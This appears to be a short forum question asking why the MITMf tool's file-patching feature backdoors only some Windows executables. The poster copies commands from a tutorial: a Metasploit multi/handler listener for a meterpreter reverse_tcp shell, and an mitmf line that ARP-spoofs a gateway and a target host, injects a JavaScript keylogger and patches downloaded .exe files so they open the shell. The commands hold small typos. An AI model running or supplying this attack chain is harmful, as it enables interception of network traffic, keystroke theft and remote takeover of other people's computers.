From this tutorial i found that it is possible using tool MITMf to patch exe files ''victim'' downloads in order to open a meterpreter shell. The commands that have been used are the following:
use exploit/multi/handler
set payloads windows/metepreter/reverse_tcp
set lhost 192.168.1.4
set lport 4888
exploit
to open meterpreter and
mitmf -i eth0 --arp --spoof --gateway 192.168.1.1 --target 192.168.1.8 --jskeylogger --filepwn
The problem is that it does not patch all exe files as it mentions in the tutorial too. So the question is which files does it patch and which not??